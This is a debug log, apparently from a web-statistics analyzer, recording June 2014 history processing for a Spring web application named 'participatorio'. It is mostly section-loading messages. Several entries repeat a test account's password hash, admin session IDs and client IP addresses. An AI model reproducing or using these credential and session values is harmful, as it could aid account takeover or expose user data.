[sectiontosave=robot,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(10,1,HASH(0x22ab380) with size=0,HASH(0x22ab380) with size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Build key list and sort it. lowerval=0, nb elem val=0, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of WORMS section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of WORMS section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=worms,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(5,1,HASH(0x22ab440) with size=0,HASH(0x22ab440) with size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Build key list and sort it. lowerval=0, nb elem val=0, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of EMAILSENDER section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of EMAILSENDER section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=emailsender,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(20,1,HASH(0x22ab8f0) with size=0,HASH(0x22ab8f0) with size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Build key list and sort it. lowerval=0, nb elem val=0, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of EMAILRECEIVER section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of EMAILRECEIVER section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=emailreceiver,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(20,1,HASH(0x22ab980) with size=0,HASH(0x22ab980) with size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Build key list and sort it. lowerval=0, nb elem val=0, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of FILETYPES section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of FILETYPES section (1 entries, 1 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=filetypes,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of DOWNLOADS section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of DOWNLOADS section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=downloads,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of OS section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of OS section (1 entries, 1 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=os,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of BROWSER section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of BROWSER section (1 entries, 1 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=browser,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of SCREENSIZE section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of SCREENSIZE section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=screensize,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of UNKNOWNREFERER section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of UNKNOWNREFERER section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=unknownreferer,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of UNKNOWNREFERERBROWSER section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of UNKNOWNREFERERBROWSER section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=unknownrefererbrowser,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of ORIGIN section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of ORIGIN section (6 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=origin,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of SEREFERRALS section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of SEREFERRALS section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=sereferrals,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of PAGEREFS section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of PAGEREFS section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=pagerefs,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(10,1,HASH(0x22ab350) with size=0,HASH(0x22ab320) with size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Build key list and sort it. lowerval=0, nb elem val=0, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of SEARCHWORDS section (10,1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of SEARCHWORDS section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=searchwords,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(10,1,HASH(0x22a8618) with size=0,HASH(0x22a8618) with size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Build key list and sort it. lowerval=0, nb elem val=0, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(10,1,HASH(0x22a8648) with size=0,HASH(0x22a8648) with size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Build key list and sort it. lowerval=0, nb elem val=0, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=0) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of KEYWORDS section (10,1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of KEYWORDS section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=keywords,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of ERRORS section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of ERRORS section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=errors,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of SIDER_404 section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of SIDER_404 section (0 entries, 0 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=sider_404,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of EXTRA_1 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of EXTRA_1 section (4 entries, 4 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=extra_1,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(20,1,HASH(0x2db72c0) with size=4,HASH(0x2db7218) with size=4) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 1 : admin.Programa. (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - firstadd +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 2 : admin.Usuario.349.ultimaAlteracao=Thu%20Jun%2026%2015:49:48%20UTC%202014,%20nome=usuarioTeste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=0,%20permissao=Usuario. (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=1. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 3 : admin.Usuario.349.ultimaAlteracao=2014-06-26,%20nome=usuarioTeste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=1,%20permissao=Usuario. (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=2. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 4 : admin.Usuario.349.ultimaAlteracao=Thu%20Jun%2026%2015:49:48%20UTC%202014,%20nome=usuarioTeste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=1,%20permissao=Usuario. (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=3. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Build key list and sort it. lowerval=1, nb elem val=1, nb elem egal=3. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=4) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of EXTRA_2 +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of EXTRA_2 section (1 entries, 1 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=extra_2,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(20,1,HASH(0x2db7368) with size=1,HASH(0x2d530f0) with size=1) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 1 : admin. (value=5, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - firstadd +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=5, nb elem val=1, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Build key list and sort it. lowerval=5, nb elem val=1, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=1) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of VISITOR section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of VISITOR section (9 entries, 9 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of DAY section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of DAY section (2 entries, 2 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of SESSION section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of SESSION section (1 entries, 1 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Begin of SIDER section +Mon Jun 30 09:00:02 2014 - DEBUG 1 - End of SIDER section (9 entries, 9 loaded) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Stop reading history file. Got all we need. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Processing data in 'wait' arrays +Mon Jun 30 09:00:02 2014 - DEBUG 2 - Check and write all unwrote sections: visitor,session,day,sider +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=visitor,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(10,1,HASH(0x22a8468) with size=9,HASH(0x22a8438) with size=9) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 1 : publishing%20event%20in%20webapplicationcontext%20for%20namespace%20'participatorio-servlet':%20servletrequesthandledevent:%20url=[usuario]%20client=[200.17.202.11]%20method=[inserção]%20servlet=[participatorio]%20session=[913549e57e1a558895f231276bb5c56a]%20user=[admin]%20time=[232ms]%20status=[ok]%20id=349%202014-06-26%2015:49:48%20{ultimaalteracao=thu%20jun%2026%2015:49:48%20utc%202014,%20nome=usuarioteste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=0,%20permissao=usuario} (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - firstadd +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 2 : authentication%20success.%20updating%20securitycontextholder%20to%20contain:%20org.springframework.security.authentication.usernamepasswordauthenticationtoken@f2c74a16:%20principal:%20org.springframework.security.core.userdetails.user@586034f:%20username=admin%20password:%20[protected]%20enabled:%20true%20accountnonexpired:%20true%20credentialsnonexpired:%20true%20accountnonlocked:%20true%20granted%20authorities:%20administrador%20credentials:%20[protected]%20authenticated:%20true%20details:%20org.springframework.security.web.authentication.webauthenticationdetails@0:%20remoteipaddress:%20200.17.202.11%20sessionid:%20feef32714bb690a6ca30aceab75ba178%20granted%20authorities:%20administrador (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=1. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 3 : publishing%20event%20in%20webapplicationcontext%20for%20namespace%20'participatorio-servlet':%20servletrequesthandledevent:%20url=[usuario]%20client=[200.17.202.11]%20method=[exclusão]%20servlet=[participatorio]%20session=[913549e57e1a558895f231276bb5c56a]%20user=[admin]%20time=[408ms]%20status=[ok]%20id=349%202014-06-26%2015:51:16%20{ultimaalteracao=2014-06-26,%20nome=usuarioteste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=1,%20permissao=usuario} (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=2. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 4 : publishing%20event%20in%20webapplicationcontext%20for%20namespace%20'participatorio-servlet':%20servletrequesthandledevent:%20url=[usuario]%20client=[200.17.202.11]%20method=[alteração]%20servlet=[participatorio]%20session=[913549e57e1a558895f231276bb5c56a]%20user=[admin]%20time=[1124ms]%20status=[ok]%20id=349%202014-06-26%2015:49:48%20{ultimaalteracao=thu%20jun%2026%2015:49:48%20utc%202014,%20nome=usuarioteste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=1,%20permissao=usuario} (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=3. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 5 : authentication%20success.%20updating%20securitycontextholder%20to%20contain:%20org.springframework.security.authentication.usernamepasswordauthenticationtoken@f2c74a16:%20principal:%20org.springframework.security.core.userdetails.user@586034f:%20username=admin%20password:%20[protected]%20enabled:%20true%20accountnonexpired:%20true%20credentialsnonexpired:%20true%20accountnonlocked:%20true%20granted%20authorities:%20administrador%20credentials:%20[protected]%20authenticated:%20true%20details:%20org.springframework.security.web.authentication.webauthenticationdetails@0:%20remoteipaddress:%2010.254.225.12%20sessionid:%2045547e2b87dc3ef8aca996be5793f6ff%20granted%20authorities:%20administrador (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=4. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 6 : authentication%20success.%20updating%20securitycontextholder%20to%20contain:%20org.springframework.security.authentication.usernamepasswordauthenticationtoken@f2c74a16:%20principal:%20org.springframework.security.core.userdetails.user@586034f:%20username=admin%20password:%20[protected]%20enabled:%20true%20accountnonexpired:%20true%20credentialsnonexpired:%20true%20accountnonlocked:%20true%20granted%20authorities:%20administrador%20credentials:%20[protected]%20authenticated:%20true%20details:%20org.springframework.security.web.authentication.webauthenticationdetails@0:%20remoteipaddress:%20200.17.202.11%20sessionid:%204704abdaafa0a080004814f1d6842804%20granted%20authorities:%20administrador (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=5. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 7 : authentication%20success.%20updating%20securitycontextholder%20to%20contain:%20org.springframework.security.authentication.usernamepasswordauthenticationtoken@f2c74a16:%20principal:%20org.springframework.security.core.userdetails.user@586034f:%20username=admin%20password:%20[protected]%20enabled:%20true%20accountnonexpired:%20true%20credentialsnonexpired:%20true%20accountnonlocked:%20true%20granted%20authorities:%20administrador%20credentials:%20[protected]%20authenticated:%20true%20details:%20org.springframework.security.web.authentication.webauthenticationdetails@0:%20remoteipaddress:%20200.17.202.11%20sessionid:%20becba66b893768c2f8de06b3bee96c37%20granted%20authorities:%20administrador (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=6. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 8 : authentication%20success.%20updating%20securitycontextholder%20to%20contain:%20org.springframework.security.authentication.usernamepasswordauthenticationtoken@f2c74a16:%20principal:%20org.springframework.security.core.userdetails.user@586034f:%20username=admin%20password:%20[protected]%20enabled:%20true%20accountnonexpired:%20true%20credentialsnonexpired:%20true%20accountnonlocked:%20true%20granted%20authorities:%20administrador%20credentials:%20[protected]%20authenticated:%20true%20details:%20org.springframework.security.web.authentication.webauthenticationdetails@0:%20remoteipaddress:%20200.17.202.11%20sessionid:%20b5522958bbf228e070db72b05e474d44%20granted%20authorities:%20administrador (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=7. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 9 : publishing%20event%20in%20webapplicationcontext%20for%20namespace%20'participatorio-servlet':%20servletrequesthandledevent:%20url=[programa]%20client=[200.17.202.11]%20method=[exclusão]%20servlet=[participatorio]%20session=[40a3d1bfe967829881de9bfc91c7d081]%20user=[admin]%20time=[163ms]%20status=[ok]%20 (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=8. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - Build key list and sort it. lowerval=1, nb elem val=1, nb elem egal=8. +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList End (keylist size=9) +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=day,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=session,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 1 - Save_History [sectiontosave=sider,year=2014,month=06,breakdate=201406,lastlinenb=2,lastlineoffset=2,lastlinechecksum=0] +Mon Jun 30 09:00:02 2014 - DEBUG 3 - BuildKeyList(10,1,HASH(0x22ab7a0) with size=9,HASH(0x22ab7a0) with size=9) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 1 : Publishing%20event%20in%20WebApplicationContext%20for%20namespace%20'participatorio-servlet':%20ServletRequestHandledEvent:%20url=[Usuario]%20client=[200.17.202.11]%20method=[Inserção]%20servlet=[participatorio]%20session=[913549E57E1A558895F231276BB5C56A]%20user=[admin]%20time=[232ms]%20status=[OK]%20id=349%202014-06-26%2015:49:48%20{ultimaAlteracao=Thu%20Jun%2026%2015:49:48%20UTC%202014,%20nome=usuarioTeste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=0,%20permissao=Usuario} (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - firstadd +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=0. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 2 : Authentication%20success.%20Updating%20SecurityContextHolder%20to%20contain:%20org.springframework.security.authentication.UsernamePasswordAuthenticationToken@f2c74a16:%20Principal:%20org.springframework.security.core.userdetails.User@586034f:%20Username=admin%20Password:%20[PROTECTED]%20Enabled:%20true%20AccountNonExpired:%20true%20credentialsNonExpired:%20true%20AccountNonLocked:%20true%20Granted%20Authorities:%20Administrador%20Credentials:%20[PROTECTED]%20Authenticated:%20true%20Details:%20org.springframework.security.web.authentication.WebAuthenticationDetails@0:%20RemoteIpAddress:%20200.17.202.11%20SessionId:%20BECBA66B893768C2F8DE06B3BEE96C37%20Granted%20Authorities:%20Administrador (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=1. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 3 : Authentication%20success.%20Updating%20SecurityContextHolder%20to%20contain:%20org.springframework.security.authentication.UsernamePasswordAuthenticationToken@f2c74a16:%20Principal:%20org.springframework.security.core.userdetails.User@586034f:%20Username=admin%20Password:%20[PROTECTED]%20Enabled:%20true%20AccountNonExpired:%20true%20credentialsNonExpired:%20true%20AccountNonLocked:%20true%20Granted%20Authorities:%20Administrador%20Credentials:%20[PROTECTED]%20Authenticated:%20true%20Details:%20org.springframework.security.web.authentication.WebAuthenticationDetails@0:%20RemoteIpAddress:%2010.254.225.12%20SessionId:%2045547E2B87DC3EF8ACA996BE5793F6FF%20Granted%20Authorities:%20Administrador (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=2. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 4 : Authentication%20success.%20Updating%20SecurityContextHolder%20to%20contain:%20org.springframework.security.authentication.UsernamePasswordAuthenticationToken@f2c74a16:%20Principal:%20org.springframework.security.core.userdetails.User@586034f:%20Username=admin%20Password:%20[PROTECTED]%20Enabled:%20true%20AccountNonExpired:%20true%20credentialsNonExpired:%20true%20AccountNonLocked:%20true%20Granted%20Authorities:%20Administrador%20Credentials:%20[PROTECTED]%20Authenticated:%20true%20Details:%20org.springframework.security.web.authentication.WebAuthenticationDetails@0:%20RemoteIpAddress:%20200.17.202.11%20SessionId:%204704ABDAAFA0A080004814F1D6842804%20Granted%20Authorities:%20Administrador (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=3. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 5 : Publishing%20event%20in%20WebApplicationContext%20for%20namespace%20'participatorio-servlet':%20ServletRequestHandledEvent:%20url=[Usuario]%20client=[200.17.202.11]%20method=[Exclusão]%20servlet=[participatorio]%20session=[913549E57E1A558895F231276BB5C56A]%20user=[admin]%20time=[408ms]%20status=[OK]%20id=349%202014-06-26%2015:51:16%20{ultimaAlteracao=2014-06-26,%20nome=usuarioTeste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=1,%20permissao=Usuario} (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=4. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 6 : Authentication%20success.%20Updating%20SecurityContextHolder%20to%20contain:%20org.springframework.security.authentication.UsernamePasswordAuthenticationToken@f2c74a16:%20Principal:%20org.springframework.security.core.userdetails.User@586034f:%20Username=admin%20Password:%20[PROTECTED]%20Enabled:%20true%20AccountNonExpired:%20true%20credentialsNonExpired:%20true%20AccountNonLocked:%20true%20Granted%20Authorities:%20Administrador%20Credentials:%20[PROTECTED]%20Authenticated:%20true%20Details:%20org.springframework.security.web.authentication.WebAuthenticationDetails@0:%20RemoteIpAddress:%20200.17.202.11%20SessionId:%20B5522958BBF228E070DB72B05E474D44%20Granted%20Authorities:%20Administrador (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=5. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 7 : Publishing%20event%20in%20WebApplicationContext%20for%20namespace%20'participatorio-servlet':%20ServletRequestHandledEvent:%20url=[Programa]%20client=[200.17.202.11]%20method=[Exclusão]%20servlet=[participatorio]%20session=[40A3D1BFE967829881DE9BFC91C7D081]%20user=[admin]%20time=[163ms]%20status=[OK]%20 (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=6. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 8 : Publishing%20event%20in%20WebApplicationContext%20for%20namespace%20'participatorio-servlet':%20ServletRequestHandledEvent:%20url=[Usuario]%20client=[200.17.202.11]%20method=[Alteração]%20servlet=[participatorio]%20session=[913549E57E1A558895F231276BB5C56A]%20user=[admin]%20time=[1124ms]%20status=[OK]%20id=349%202014-06-26%2015:49:48%20{ultimaAlteracao=Thu%20Jun%2026%2015:49:48%20UTC%202014,%20nome=usuarioTeste,%20login=teste,%20senha=46070d4bf934fb0d4b06d9e2c46e346944e322444900a435d7d9a95e6d7435f5,%20version=1,%20permissao=Usuario} (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=7. +Mon Jun 30 09:00:02 2014 - DEBUG 4 - Add in tree entry 9 : Authentication%20success.%20Updating%20SecurityContextHolder%20to%20contain:%20org.springframework.security.authentication.UsernamePasswordAuthenticationToken@f2c74a16:%20Principal:%20org.springframework.security.core.userdetails.User@586034f:%20Username=admin%20Password:%20[PROTECTED]%20Enabled:%20true%20AccountNonExpired:%20true%20credentialsNonExpired:%20true%20AccountNonLocked:%20true%20Granted%20Authorities:%20Administrador%20Credentials:%20[PROTECTED]%20Authenticated:%20true%20Details:%20org.springframework.security.web.authentication.WebAuthenticationDetails@0:%20RemoteIpAddress:%20200.17.202.11%20SessionId:%20FEEF32714BB690A6CA30ACEAB75BA178%20Granted%20Authorities:%20Administrador (value=1, tree not full) +Mon Jun 30 09:00:02 2014 - DEBUG 4 - val is already in tree +Mon Jun 30 09:00:02 2014 - DEBUG 4 - lowerval=1, nb elem val=1, nb elem egal=8. +Mon Jun 30 09:00:02 2014 - DEBUG 3 